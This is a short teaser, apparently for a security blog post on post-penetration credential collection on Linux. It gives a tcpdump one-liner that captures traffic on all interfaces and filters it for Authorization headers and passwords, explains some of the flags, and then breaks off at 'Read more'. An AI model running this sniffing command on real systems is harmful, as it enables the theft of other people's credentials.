Post-Penetration on Linux: Various Methods for Credential Collection (Part 1)
tcpdump Use tcpdump to capture traffic from all network interfaces in real-time, filtering and saving when sensitive information is detected in the traffic. tcpdump -i any -s 0 -A -n -l |egrep -i "Host:|Authorization:|password:|password=" • -i any: Listen to traffic on all network interfaces; • -s 0: Capture full packets (no truncation); • -A: Display … Read more